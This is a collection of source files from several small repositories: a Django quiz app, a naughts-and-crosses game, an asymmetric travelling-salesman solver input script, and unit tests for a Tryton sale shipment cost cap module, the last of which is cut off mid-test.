"license_type": "no_license", "max_line_length": 67, "num_lines": 14, "path": "/quiz/accounts/templates/accounts/home.html", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n\n{% block content %}\n<p> Login page</p>\n{% if user.is_authenticated %}\n You are logged in {{ user.username }}\n <p><a href=\"{% url 'logout' %}\">sign out</a></p>\n <p><a href=\"{% url 'quiz_app:select-quiz' %}\">Select quiz</a></p>\n{% else %}\n <p>You are not logged in</p>\n <p><a href=\"{% url 'signup' %}\">sign up</a></p>\n <p><a href=\"{% url 'login' %}\">sign in </a></p>\n{% endif %}\n{% endblock %}" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.642951250076294, "avg_line_length": 38.894737243652344, "blob_id": "fad413675f3c11750ed78cb879b9d88897e77ad5", "content_id": "3ae85b84ee155f6c4e3bdb6bbd3029d54420f7e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 759, "license_type": "no_license", "max_line_length": 80, "num_lines": 19, "path": "/quiz/quiz_app/forms.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from django import forms\n\n\nclass QuizForm(forms.Form):\n def __init__(self, *args, **kwargs):\n self.answers = kwargs.pop(\"answers\")\n self.questions = kwargs.pop(\"questions\")\n super(QuizForm, self).__init__(*args, *kwargs)\n choices = []\n for answer in self.answers:\n choices.append((answer, answer.answer_text))\n for number in range(3):\n field_name = f\"question_{number+1}\"\n self.fields[field_name].choices = choices\n self.fields[field_name].label = self.questions[number].question_text\n\n question_1 = forms.ChoiceField(widget=forms.RadioSelect)\n question_2 = forms.ChoiceField(widget=forms.RadioSelect)\n question_3 = forms.ChoiceField(widget=forms.RadioSelect)\n\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 26, "blob_id": "01e9294ca606e7bf05fa388bf3a431b20170e49e", "content_id": "0522886b3f56bae3008bf2af2deb4c601aedf5b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "no_license", "max_line_length": 53, "num_lines": 8, "path": "/quiz/api/urls.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('questions/', views.QuestionList.as_view()),\n path('quiz/', views.QuizList.as_view()),\n path('answer/', views.AnswerList.as_view()),\n]\n" }, { "alpha_fraction": 0.6812270879745483, "alphanum_fraction": 0.6898966431617737, "avg_line_length": 42.463768005371094, "blob_id": "5d2be56afde307597a365e568d351bfcabb8d583", "content_id": "c27c508b9ecb8c5d3ce6ce93ced9737685095dbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2999, "license_type": "no_license", "max_line_length": 105, "num_lines": 69, "path": "/quiz/quiz_app/views.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Question, Answer, Quiz\nfrom .forms import QuizForm\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n\n@login_required\ndef select_quiz(request):\n quizzes = Quiz.objects.all()\n context = {\"quizzes\": quizzes}\n return render(request, 'quiz_app/selector.html', context=context)\n\n\n@login_required\ndef render_quiz(request, quiz_id):\n questions = Question.objects.filter(quiz_id=quiz_id)\n quiz = Quiz.objects.get(pk=quiz_id)\n questions_id = [question.id for question in questions]\n answers = Answer.objects.filter(question_id__in=questions_id)\n if request.method == 'POST':\n form = QuizForm(request.POST, answers=answers, questions=questions)\n if form.is_valid():\n request.session[\"question_1\"] = form.cleaned_data[\"question_1\"]\n request.session[\"question_2\"] = form.cleaned_data[\"question_2\"]\n request.session[\"question_3\"] = form.cleaned_data[\"question_3\"]\n return redirect('quiz_app:show-results', quiz_id=quiz_id)\n else:\n form = QuizForm(answers=answers, questions=questions)\n context = {\"questions\": questions, \"form\": form, \"quiz\": quiz}\n return render(request, \"quiz_app/index.html\", context=context)\n\n\n@login_required\ndef show_results(request, quiz_id):\n questions = Question.objects.filter(quiz_id=quiz_id)\n questions_id = [question.id for question in questions]\n try:\n selected_choice_1 = request.session.get('question_1')\n selected_choice_2 = request.session.get('question_2')\n selected_choice_3 = request.session.get('question_3')\n except KeyError:\n return HttpResponse(\"There is no choice\")\n selected_choice_obj_1 = Answer.objects.get(answer_text=selected_choice_1)\n selected_choice_obj_2 = Answer.objects.get(answer_text=selected_choice_2)\n selected_choice_obj_3 = Answer.objects.get(answer_text=selected_choice_3)\n selected_choices_question_id = [selected_choice_obj_1.question_id, selected_choice_obj_2.question_id,\n selected_choice_obj_3.question_id]\n good_answers = 0\n for question, choice in zip(questions_id, selected_choices_question_id):\n if question == choice:\n good_answers += 1\n if request.user.is_authenticated:\n request.user.points = request.user.points + good_answers\n request.user.save()\n context = {\"questions_id\": questions_id, \"selected_choices_id\": selected_choices_question_id,\n \"good_answers\": good_answers}\n return render(request, \"quiz_app/result.html\", context=context)\n\n\n@login_required\ndef show_ranking(request):\n users_list = User.objects.all()\n users = sorted(users_list, key=lambda x: x.points, reverse=True)\n context = {\"users\": users}\n return render(request, \"quiz_app/ranking.html\", context=context)\n" }, { "alpha_fraction": 0.7080103158950806, "alphanum_fraction": 0.7080103158950806, "avg_line_length": 26.64285659790039, "blob_id": "fd37855ba5ab7f43fd235eacc705017fe949b50a", "content_id": "d90603e608ce44811544d77ea35340e73296496e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 387, "license_type": "no_license", "max_line_length": 66, "num_lines": 14, "path": "/quiz/accounts/views.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from .forms import CustomUserCreationForm\nfrom django.shortcuts import render, redirect\n\n\ndef home(request):\n return render(request, 'accounts/home.html')\n\n\ndef signup(request):\n form = CustomUserCreationForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('home')\n return render(request, 'accounts/signup.html', {'form': form})\n" }, { "alpha_fraction": 0.7666666507720947, "alphanum_fraction": 0.7666666507720947, "avg_line_length": 30, "blob_id": "dd503f8b2d23ca78319327f05131364f6526192b", "content_id": "0c28b091000cc6ed5231a2bcffb2b067d88d3583", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 30, "license_type": "no_license", "max_line_length": 30, "num_lines": 1, "path": "/README.md", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "This is my quiz app in Django." }, { "alpha_fraction": 0.6722365021705627, "alphanum_fraction": 0.6902313828468323, "avg_line_length": 26.678571701049805, "blob_id": "3751d5689e597e07a364a04b389ba0d07ce19d9e", "content_id": "efe13a01e13ebc9e9748aa33edac848992c7935f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 778, "license_type": "no_license", "max_line_length": 71, "num_lines": 28, "path": "/quiz/quiz_app/models.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from django.db import models\n\n\nclass Quiz(models.Model):\n name = models.CharField(max_length=300)\n publication_date = models.DateField()\n\n def __str__(self):\n return self.name\n\n\nclass Question(models.Model):\n question_text = models.CharField(max_length=300)\n publication_date = models.DateField()\n category = models.CharField(max_length=100)\n quiz = models.ForeignKey(Quiz, on_delete=models.CASCADE, default=1)\n\n def __str__(self):\n return self.question_text\n\n\nclass Answer(models.Model):\n question = models.ForeignKey(Question, on_delete=models.CASCADE)\n answer_text = models.CharField(max_length=100, blank=True)\n answer_int = models.IntegerField(blank=True, default=0)\n\n def __str__(self):\n return self.answer_text\n\n\n\n" }, { "alpha_fraction": 0.6463104486465454, "alphanum_fraction": 0.6463104486465454, "avg_line_length": 34.727272033691406, "blob_id": "f777ef10a750f2a0f53895f526cfdeee80df3ba8", "content_id": "2df0f75fe516dbf212888e6b0a5688887a60ae59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 393, "license_type": "no_license", "max_line_length": 71, "num_lines": 11, "path": "/quiz/quiz_app/urls.py", "repo_name": "Daniel98p/QuizApp", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import select_quiz, render_quiz, show_results, show_ranking\n\n\napp_name = \"quiz_app\"\nurlpatterns = [\n path('', select_quiz, name='select-quiz'),\n path('<int:quiz_id>/', render_quiz, name=\"render-quiz\"),\n path('<int:quiz_id>/results/', show_results, name='show-results'),\n path('ranking/', show_ranking, name='show-ranking'),\n ]\n" } ]
10
morty/ckanext-profile
https://github.com/morty/ckanext-profile
c9a512bfda9808d9e2f884b45b6928f2f76d5420
b2a13410da394e8978a64bd3d11363a600094cc0
a27bd79948bea0e2d02f8e375591d31186468833
refs/heads/master
2020-06-07T12:28:02.556707
2013-08-22T20:34:27
2013-08-22T20:34:27
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6460980176925659, "alphanum_fraction": 0.6460980176925659, "avg_line_length": 29.61111068725586, "blob_id": "68488d25ef760bfcfd3def4e058e67f5b3d883a9", "content_id": "400d4018e66c2676b0b3ceaba9ca1d6cb88e5a87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 551, "license_type": "no_license", "max_line_length": 65, "num_lines": 18, "path": "/ckanext/profile/plugin.py", "repo_name": "morty/ckanext-profile", "src_encoding": "UTF-8", "text": "import ckan.plugins as plugins\n\nfrom repoze.profile.profiler import AccumulatingProfileMiddleware\n\nclass ProfilePlugin(plugins.SingletonPlugin):\n plugins.implements(plugins.IMiddleware)\n\n def make_middleware(self, app, config):\n #Profile the app\n app = AccumulatingProfileMiddleware(\n app,\n log_filename='profiling.log',\n cachegrind_filename='cachegrind.out',\n discard_first_request=True,\n flush_at_shutdown=False,\n path='/__profile__'\n )\n return app\n" } ]
1
RoboticsAndCloud/Asymmetric-Travelling-Salesman-Problem-Optimized-by-Simulated-Annealing
https://github.com/RoboticsAndCloud/Asymmetric-Travelling-Salesman-Problem-Optimized-by-Simulated-Annealing
0f18ad01973d09a75796c66974844835a8bf64b4
9984feb6d317710f8e91a25ba8481ce4953aa6fd
9b3a66cb2c413ee5f3df3300f73fde929cd0e54b
refs/heads/master
2022-10-26T21:58:23.783774
2020-06-11T07:23:53
2020-06-11T07:23:53
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5518394708633423, "alphanum_fraction": 0.566332221031189, "avg_line_length": 29.931034088134766, "blob_id": "05bd099945d73243a0cc11d5a85a6ef576274a18", "content_id": "22359306cbf47658ffa0bd4d0ae50866903a972f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 897, "license_type": "permissive", "max_line_length": 111, "num_lines": 29, "path": "/tsplib_input.py", "repo_name": "RoboticsAndCloud/Asymmetric-Travelling-Salesman-Problem-Optimized-by-Simulated-Annealing", "src_encoding": "UTF-8", "text": "import sys, atsp\n\n\ndef tsplib(content, f=1, r=None, learning_plot=False):\n idx = content.index('DIMENSION:') + 1\n n = int(content[idx])\n idx = content.index('EDGE_WEIGHT_FORMAT:') + 1\n if content[idx] != 'FULL_MATRIX':\n return [], 0\n idx = content.index('EDGE_WEIGHT_SECTION') + 1\n inf = int(content[idx])\n data = []\n for i in range(n):\n if len(content) > idx + n:\n data.append(list(map(int, content[idx:idx + n])))\n else:\n return [], 0\n idx += n\n\n _atsp = atsp.SA(data, initial_fitness=f, infinity=inf, regularization_bound=r, learning_plot=learning_plot)\n return _atsp.solve()\n\n\nif len(sys.argv) == 2:\n with open(sys.argv[1], 'r') as fp:\n file_content = fp.read().split()\n res = tsplib(file_content, learning_plot=True)\n print(res[1], res[0][1])\n print(' '.join(map(str, res[0][0])))\n" } ]
1
yuddaa/tests
https://github.com/yuddaa/tests
9dbaa687060e3931f5d43140010ee90018b573a5
dfa845a2bac9a9e3a644d006e66b4de0b65f102e
306bfa2c4dab6baeeee2e8f7215b996de4712c59
refs/heads/master
2020-04-01T00:44:54.514910
2018-10-12T09:13:47
2018-10-12T09:13:47
152,711,610
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3103448152542114, "alphanum_fraction": 0.5862069129943848, "avg_line_length": 8.666666984558105, "blob_id": "0a89e242912327c0710db8fb0796b102df8609db", "content_id": "04aabbcbe03024720b40247ea637061518123939", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29, "license_type": "no_license", "max_line_length": 9, "num_lines": 3, "path": "/file01.py", "repo_name": "yuddaa/tests", "src_encoding": "UTF-8", "text": "sum1 = 10\nsum2 = 20\nsum3 = 3\n" } ]
1
scschipper672/naughts-and-crosses
https://github.com/scschipper672/naughts-and-crosses
a3bc2f26cc78e40e82853358f6bd7903a3b31180
8fe77cd570399c1f0e491584dc7f999c35f413c1
c6e2460d25c1de5db6a5cb120f57be4276493ba6
refs/heads/master
2020-03-29T02:24:47.441181
2018-09-19T12:26:59
2018-09-19T12:26:59
149,435,238
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4590336084365845, "alphanum_fraction": 0.4978991448879242, "avg_line_length": 34.90565872192383, "blob_id": "78835ba9d0188e9e4bdf9be17d2467b25b3073dc", "content_id": "bba746af837548b44a86690876c60e0434495e8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1904, "license_type": "no_license", "max_line_length": 79, "num_lines": 53, "path": "/naughts_and_crosses.py", "repo_name": "scschipper672/naughts-and-crosses", "src_encoding": "UTF-8", "text": "\nplayers = ['x', 'o']\nboard = [[' ', ' ', ' '], [' ', ' ', ' '], [' ', ' ', ' ']]\n\ndef make_board_string(board):\n return f' 1 2 3\\n\\\n a {board[0][0]} | {board[0][1]} | {board[0][2]}\\n\\\n ---+---+---\\n\\\n b {board[1][0]} | {board[1][1]} | {board[1][2]}\\n\\\n ---+---+---\\n\\\n c {board[2][0]} | {board[2][1]} | {board[2][2]}'\n\ndef change_turn():\n change = players.pop(0)\n players.append(change)\n return players[0]\n\ndef win(player):\n return [player, player, player] in board or (\n board[0][0] == board[1][0] == board[2][0] == player) or (\n board[0][1] == board[1][1] == board[2][1] == player) or (\n board[0][2] == board[1][2] == board[2][2] == player) or (\n board[0][0] == board[1][1] == board[2][2] == player) or (\n board[0][2] == board[1][1] == board[2][0] == player)\n\ndef get_move(turn):\n my_move = input(f\"{turn}'s move: \")\n if not (len(my_move) == 2 and my_move[0] in 'abc' and my_move[1] in '123'):\n print(f'\\n{turn}, type the coordinates for your move')\n print('Eg) a1')\n return get_move(turn)\n return {'x': 'abc'.find(my_move[0]),\n 'y': '123'.find(my_move[1])}\n\ndef make_move(turn, board):\n my_move = get_move(turn)\n if board[int(my_move['x'])][int(my_move['y'])] != ' ':\n print('abc'[my_move['x']] + '123'[my_move['y']] + ' is already taken!')\n return make_move(turn, board)\n board[int(my_move['x'])][int(my_move['y'])] = turn\n return board\n\nturn = change_turn()\nwhile True:\n print(f\"{make_board_string(board)}\\n\")\n if win(turn):\n print(f'CONGRATULATIONS {turn.upper()}!! YOU WIN')\n break\n if ' ' not in board[0] and ' ' not in board[1] and ' ' not in board[2]:\n print(' ---- Draw ----')\n break\n turn = change_turn()\n board = make_move(turn, board)\n print('\\n'*100) # Scroll the previous board out of view\n" } ]
1
openlabs/sale_shipment_cost_cap
https://github.com/openlabs/sale_shipment_cost_cap
64d93748597eb72468dc3c8027a262cca07c861d
5f0870ecd182e8028690cf0fa2dbddf74f2835a8
da0ef1c2a6371632a9c3d657fa34da4e11563813
refs/heads/master
2021-01-19T13:52:40.663465
2015-03-19T09:36:58
2015-03-19T09:36:58
24,170,309
0
3
null
null
null
null
null
[ { "alpha_fraction": 0.43342697620391846, "alphanum_fraction": 0.44486355781555176, "avg_line_length": 36.75757598876953, "blob_id": "0406eb0ecf14edafa6ae7875963100a7ccdeeb03", "content_id": "1e985c1a28da988a0ba569c8bd90ae3631f17645", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 24920, "license_type": "no_license", "max_line_length": 79, "num_lines": 660, "path": "/tests/test_shipment_cost_cap.py", "repo_name": "openlabs/sale_shipment_cost_cap", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n tests/test_views_depends.py\n\n :copyright: (C) 2014 by Openlabs Technologies & Consulting (P) Limited\n :license: BSD, see LICENSE for more details.\n\"\"\"\nimport unittest\nfrom datetime import date\nfrom decimal import Decimal\n\nfrom trytond.tests.test_tryton import DB_NAME, USER, CONTEXT, POOL\nimport trytond.tests.test_tryton\nfrom trytond.transaction import Transaction\n\n\nclass TestShipmentCostCap(unittest.TestCase):\n \"\"\"\n Test Shipment Cost Cap\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Set up data used in the tests.\n \"\"\"\n trytond.tests.test_tryton.install_module('sale_shipment_cost_cap')\n\n self.Currency = POOL.get('currency.currency')\n self.Company = POOL.get('company.company')\n self.Party = POOL.get('party.party')\n self.User = POOL.get('res.user')\n self.Country = POOL.get('country.country')\n self.SubDivision = POOL.get('country.subdivision')\n self.Carrier = POOL.get('carrier')\n\n def _create_coa_minimal(self, company):\n \"\"\"Create a minimal chart of accounts\n \"\"\"\n AccountTemplate = POOL.get('account.account.template')\n Account = POOL.get('account.account')\n\n account_create_chart = POOL.get(\n 'account.create_chart', type=\"wizard\"\n )\n\n account_template, = AccountTemplate.search(\n [('parent', '=', None)]\n )\n\n session_id, _, _ = account_create_chart.create()\n create_chart = account_create_chart(session_id)\n create_chart.account.account_template = account_template\n create_chart.account.company = company\n create_chart.transition_create_account()\n\n receivable, = Account.search([\n ('kind', '=', 'receivable'),\n ('company', '=', company),\n ])\n payable, = Account.search([\n ('kind', '=', 'payable'),\n ('company', '=', company),\n ])\n create_chart.properties.company = company\n create_chart.properties.account_receivable = receivable\n create_chart.properties.account_payable = payable\n create_chart.transition_create_properties()\n\n def _get_account_by_kind(self, kind, company=None, silent=True):\n \"\"\"Returns an account with given spec\n\n :param kind: receivable/payable/expense/revenue\n :param silent: dont raise error if account is not found\n \"\"\"\n Account = POOL.get('account.account')\n Company = POOL.get('company.company')\n\n if company is None:\n company, = Company.search([], limit=1)\n\n accounts = Account.search([\n ('kind', '=', kind),\n ('company', '=', company)\n ], limit=1)\n if not accounts and not silent:\n raise Exception(\"Account not found\")\n return accounts[0] if accounts else False\n\n def _create_payment_term(self):\n \"\"\"Create a simple payment term with all advance\n \"\"\"\n PaymentTerm = POOL.get('account.invoice.payment_term')\n\n return PaymentTerm.create([{\n 'name': 'Direct',\n 'lines': [('create', [{'type': 'remainder'}])]\n }])[0]\n\n def setup_defaults(self):\n \"\"\"\n Setup the defaults\n \"\"\"\n User = POOL.get('res.user')\n Uom = POOL.get('product.uom')\n Template = POOL.get('product.template')\n Product = POOL.get('product.product')\n SaleConfig = POOL.get('sale.configuration')\n\n self.usd, = self.Currency.create([{\n 'name': 'US Dollar',\n 'code': 'USD',\n 'symbol': '$',\n }])\n\n with Transaction().set_context(company=None):\n self.party, = self.Party.create([{\n 'name': 'Openlabs',\n }])\n self.company, = self.Company.create([{\n 'party': self.party.id,\n 'currency': self.usd\n }])\n\n User.write(\n [User(USER)], {\n 'main_company': self.company.id,\n 'company': self.company.id,\n }\n )\n\n self._create_coa_minimal(company=self.company.id)\n self.account_revenue = self._get_account_by_kind('revenue')\n self.account_expense = self._get_account_by_kind('expense')\n self._create_payment_term()\n\n carrier_party, = self.Party.create([{\n 'name': 'Carrier Party',\n }])\n\n self.party1, = self.Party.create([{\n 'name': 'Test party',\n 'addresses': [('create', [{\n 'city': 'Melbourne',\n }])],\n }])\n\n self.uom, = Uom.search([('name', '=', 'Unit')])\n\n self.template1, = Template.create([{\n 'name': 'product',\n 'type': 'goods',\n 'list_price': Decimal('10'),\n 'cost_price': Decimal('5'),\n 'default_uom': self.uom.id,\n 'salable': True,\n 'sale_uom': self.uom.id,\n 'account_revenue': self.account_revenue.id,\n }])\n\n self.template2, = Template.create([{\n 'name': 'product2',\n 'type': 'goods',\n 'list_price': Decimal('20'),\n 'cost_price': Decimal('5'),\n 'default_uom': self.uom.id,\n 'salable': True,\n 'sale_uom': self.uom.id,\n 'account_revenue': self.account_revenue.id,\n }])\n\n self.product1, = Product.create([{\n 'template': self.template1.id,\n }])\n\n self.product2, = Product.create([{\n 'template': self.template2.id,\n }])\n\n self.shipping_template, = Template.create([{\n 'name': 'shipment',\n 'type': 'service',\n 'list_price': Decimal('20'),\n 'cost_price': Decimal('5'),\n 'default_uom': self.uom.id,\n 'salable': True,\n 'sale_uom': self.uom.id,\n 'account_revenue': self.account_revenue.id,\n }])\n\n self.shipping_product, = Product.create([{\n 'template': self.shipping_template.id,\n }])\n\n self.carrier_product_temp, = Template.create([{\n 'name': 'carrier_produict',\n 'type': 'service',\n 'list_price': Decimal('1'),\n 'cost_price': Decimal('1'),\n 'default_uom': self.uom.id,\n 'salable': True,\n 'sale_uom': self.uom.id,\n 'account_revenue': self.account_revenue.id,\n }])\n\n carrier_product, = Product.create([{\n 'template': self.carrier_product_temp.id,\n }])\n\n self.carrier, = self.Carrier.create([{\n 'party': carrier_party,\n 'carrier_product': carrier_product,\n }])\n\n SaleConfig.write([SaleConfig(1)], {\n 'sale_carrier': self.carrier.id,\n 'sale_invoice_method': 'shipment',\n 'sale_shipment_method': 'order',\n 'sale_shipment_cost_method': 'shipment_capped',\n })\n\n def test0010_single_shipment_cost(self):\n \"\"\"\n Check if single invoice on single shipment\n \"\"\"\n with Transaction().start(DB_NAME, USER, context=CONTEXT):\n Sale = POOL.get('sale.sale')\n ShipmentOut = POOL.get('stock.shipment.out')\n\n self.setup_defaults()\n with Transaction().set_context({'company': self.company.id}):\n shipment_cost = Decimal('30')\n sale, = Sale.create([{\n 'reference': 'Sale1',\n 'sale_date': date.today(),\n 'invoice_address': self.party1.addresses[0].id,\n 'shipment_address': self.party1.addresses[0].id,\n 'party': self.party1.id,\n 'carrier': self.carrier.id,\n 'invoice_method': 'shipment',\n 'shipment_method': 'order',\n 'shipment_cost_method': 'shipment_capped',\n 'lines': [\n ('create', [{\n 'type': 'line',\n 'quantity': 5,\n 'unit': self.uom,\n 'unit_price': 10,\n 'description': 'Test description1',\n 'product': self.product1.id,\n }, {\n 'type': 'line',\n 'quantity': 2,\n 'unit': self.uom,\n 'unit_price': 20,\n 'description': 'Test description1',\n 'product': self.product1.id,\n }, {\n 'type': 'line',\n 'quantity': 1,\n 'unit': self.uom,\n 'unit_price': shipment_cost,\n 'description': 'Shipping',\n 'product': self.shipping_product.id,\n 'shipment_cost': shipment_cost\n }])\n ]\n }])\n\n Sale.quote([sale])\n Sale.confirm([sale])\n Sale.process([sale])\n\n self.assertEqual(sale.state, 'processing')\n self.assertEqual(len(sale.invoices), 0)\n\n shipment, = sale.shipments\n shipment.cost = Decimal(25)\n shipment.save()\n ShipmentOut.assign([shipment])\n ShipmentOut.pack([shipment])\n ShipmentOut.done([shipment])\n self.assertEqual(shipment.state, 'done')\n\n self.assertEqual(len(sale.invoices), 1)\n self.assertEqual(sale.invoices[0].total_amount, Decimal('115'))\n\n def test0020_multiple_shipment_cost(self):\n \"\"\"\n Check if multiple invoice on multiple shipment\n\n Case 2:\n\n Sale 1 with 2 shipments and each costs 15\n Test: Invoice total is (50 + 15) and (40 + 15) = 120\n \"\"\"\n with Transaction().start(DB_NAME, USER, context=CONTEXT):\n Sale = POOL.get('sale.sale')\n ShipmentOut = POOL.get('stock.shipment.out')\n\n self.setup_defaults()\n with Transaction().set_context({'company': self.company.id}):\n total_shipment_cost = Decimal('30')\n sale, = Sale.create([{\n 'reference': 'Sale1',\n 'sale_date': date.today(),\n 'invoice_address': self.party1.addresses[0].id,\n 'shipment_address': self.party1.addresses[0].id,\n 'party': self.party1.id,\n 'carrier': self.carrier.id,\n 'invoice_method': 'shipment',\n 'shipment_method': 'order',\n 'shipment_cost_method': 'shipment_capped',\n 'lines': [\n ('create', [{\n 'type': 'line',\n 'quantity': 5,\n 'unit': self.uom,\n 'unit_price': 10,\n 'description': 'Test description1',\n 'product': self.product1.id,\n }, {\n 'type': 'line',\n 'quantity': 2,\n 'unit': self.uom,\n 'unit_price': 20,\n 'description': 'Test description1',\n 'product': self.product2.id,\n }, {\n 'type': 'line',\n 'quantity': 1,\n 'unit': self.uom,\n 'unit_price': total_shipment_cost,\n 'description': 'Shipping',\n 'product': self.shipping_product.id,\n 'shipment_cost': total_shipment_cost\n }])\n ]\n }])\n\n Sale.quote([sale])\n Sale.confirm([sale])\n Sale.process([sale])\n\n self.assertEqual(sale.state, 'processing')\n self.assertEqual(len(sale.invoices), 0)\n\n shipment1, = sale.shipments\n shipment1.cost = Decimal(15)\n shipment1.save()\n self.assertEqual(len(shipment1.outgoing_moves), 2)\n\n # Delete a shipment Move\n ShipmentOut.write([shipment1], {\n 'moves': [('remove', [shipment1.inventory_moves[0].id])]\n })\n ShipmentOut.assign([shipment1])\n ShipmentOut.pack([shipment1])\n ShipmentOut.done([shipment1])\n\n # Select other shipment\n shipment2, = filter(\n lambda s: s.id != shipment1.id, sale.shipments\n )\n shipment2.cost = Decimal(15)\n shipment2.save()\n\n ShipmentOut.assign([shipment2])\n ShipmentOut.pack([shipment2])\n ShipmentOut.done([shipment2])\n for shipment in sale.shipments:\n self.assertEqual(shipment.state, 'done')\n\n self.assertEqual(len(sale.invoices), 2)\n total_amount = sum([\n inv.total_amount for inv in sale.invoices\n ])\n self.assertEqual(total_amount, Decimal('120'))\n\n def test0030_multiple_shipment_cost(self):\n \"\"\"\n Check if single invoice on single shipment\n\n Case 3:\n Sale 1 with 3 shipment and each costs 15\n Test:\n Invoice total is (50 + 15) + (40 + 15) + (60 + 0) = 180\n \"\"\"\n with Transaction().start(DB_NAME, USER, context=CONTEXT):\n Sale = POOL.get('sale.sale')\n ShipmentOut = POOL.get('stock.shipment.out')\n\n self.setup_defaults()\n with Transaction().set_context({'company': self.company.id}):\n total_shipment_cost = Decimal('30')\n sale, = Sale.create([{\n 'reference': 'Sale1',\n 'sale_date': date.today(),\n 'invoice_address': self.party1.addresses[0].id,\n 'shipment_address': self.party1.addresses[0].id,\n 'party': self.party1.id,\n 'carrier': self.carrier.id,\n 'invoice_method': 'shipment',\n 'shipment_method': 'order',\n 'shipment_cost_method': 'shipment_capped',\n 'lines': [\n ('create', [{\n 'type': 'line',\n 'quantity': 5,\n 'unit': self.uom,\n 'unit_price': 10,\n 'description': 'Test description1',\n 'product': self.product1.id,\n }, {\n 'type': 'line',\n 'quantity': 2,\n 'unit': self.uom,\n 'unit_price': 20,\n 'description': 'Test description1',\n 'product': self.product2.id,\n }, {\n 'type': 'line',\n 'quantity': 3,\n 'unit': self.uom,\n 'unit_price': 20,\n 'description': 'Test description2',\n 'product': self.product2.id,\n }, {\n 'type': 'line',\n 'quantity': 1,\n 'unit': self.uom,\n 'unit_price': total_shipment_cost,\n 'description': 'Shipping',\n 'product': self.shipping_product.id,\n 'shipment_cost': total_shipment_cost\n }])\n ]\n }])\n\n Sale.quote([sale])\n Sale.confirm([sale])\n Sale.process([sale])\n\n self.assertEqual(sale.state, 'processing')\n self.assertEqual(len(sale.invoices), 0)\n\n shipment1, = sale.shipments\n shipment1.cost = Decimal(15)\n shipment1.save()\n self.assertEqual(len(shipment1.outgoing_moves), 3)\n\n # Delete a shipment Move\n ShipmentOut.write([shipment1], {\n 'moves': [('remove', [\n shipment1.inventory_moves[0].id,\n shipment1.inventory_moves[1].id\n ])]\n })\n ShipmentOut.assign([shipment1])\n ShipmentOut.pack([shipment1])\n ShipmentOut.done([shipment1])\n\n # Select other shipment\n shipment2, = filter(\n lambda s: s.id != shipment1.id, sale.shipments\n )\n shipment2.cost = Decimal(15)\n shipment2.save()\n self.assertEqual(len(shipment2.outgoing_moves), 2)\n\n # Delete a shipment Move\n ShipmentOut.write([shipment2], {\n 'moves': [('remove', [\n shipment2.inventory_moves[0].id,\n ])]\n })\n ShipmentOut.assign([shipment2])\n ShipmentOut.pack([shipment2])\n ShipmentOut.done([shipment2])\n\n # Select other shipment\n shipment3, = filter(\n lambda s: s.id not in [shipment2.id, shipment1.id],\n sale.shipments\n )\n shipment3.cost = Decimal(15)\n shipment3.save()\n self.assertEqual(len(shipment3.outgoing_moves), 1)\n\n ShipmentOut.assign([shipment3])\n ShipmentOut.pack([shipment3])\n ShipmentOut.done([shipment3])\n\n for shipment in sale.shipments:\n self.assertEqual(shipment.state, 'done')\n\n self.assertEqual(len(sale.invoices), 3)\n total_amount = sum([\n inv.total_amount for inv in sale.invoices\n ])\n self.assertEqual(total_amount, Decimal('180'))\n\n def test0040_shipment_cost_on_order(self):\n \"\"\"\n Check shipment cost method is order\n \"\"\"\n with Transaction().start(DB_NAME, USER, context=CONTEXT):\n Sale = POOL.get('sale.sale')\n ShipmentOut = POOL.get('stock.shipment.out')\n\n self.setup_defaults()\n with Transaction().set_context({'company': self.company.id}):\n shipment_cost = Decimal('30')\n sale, = Sale.create([{\n 'reference': 'Sale1',\n 'sale_date': date.today(),\n 'invoice_address': self.party1.addresses[0].id,\n 'shipment_address': self.party1.addresses[0].id,\n 'party': self.party1.id,\n 'carrier': self.carrier.id,\n 'invoice_method': 'shipment',\n 'shipment_method': 'order',\n 'shipment_cost_method': 'order',\n 'lines': [\n ('create', [{\n 'type': 'line',\n 'quantity': 5,\n 'unit': self.uom,\n 'unit_price': 10,\n 'description': 'Test description1',\n 'product': self.product1.id,\n }, {\n 'type': 'line',\n 'quantity': 2,\n 'unit': self.uom,\n 'unit_price': 20,\n 'description': 'Test description1',\n 'product': self.product2.id,\n }, {\n 'type': 'line',\n 'quantity': 1,\n 'unit': 